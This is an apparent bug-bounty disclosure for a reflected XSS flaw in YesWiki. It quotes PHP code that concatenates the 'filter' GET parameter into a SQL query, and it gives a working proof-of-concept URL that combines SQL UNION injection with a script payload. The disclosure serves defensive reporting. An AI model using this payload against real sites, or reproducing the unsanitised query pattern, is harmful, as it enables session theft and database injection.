Cross-site Scripting (XSS) - Reflected in yeswiki/yeswiki
Reported on
Oct 5th 2021
Description
Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into websites. An attacker can use XSS to send a malicious script to an unsuspecting user. The end user’s browser has no way to know that the script should not be trusted, and will execute the script.
https://github.com/YesWiki/yeswiki/
is vulnerable to XSS as shown below:
Proof of concept
Vuln variable: $filter = $_GET['filter']
Snippet:
$filter = $_GET['filter'] ?? null;
...
$search = ' AND body LIKE \'%"id_typeannonce":"' . $filter . '"%\'';
...
$liste_pages = $this->Query('SELECT * FROM '.$table."pages WHERE latest='Y' ".($search ?? '')."ORDER BY "
.$table.'pages.tag ASC');
XSS is posible via query error messages.
Payload
Login as admin in yeswiki
Got to http://localhost/yeswiki-doryphore/?GererDroits and insert xss in the filter var
http://localhost/yeswiki-doryphore/?GererDroits&filter=X%22%25%27%20UNION%20SELECT%20SLEEP(0),%22%3E%3Cscript%3Ealert`xss`%3C/script%3E1,1,null,null,null,null,null,null,null%20--%20-v%20
Observe the XSS.
Impact
Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page.
References
https://portswigger.net/web-security/cross-site-scripting https://owasp.org/www-community/attacks/xss/
Occurrences
SECURITY.md
a year ago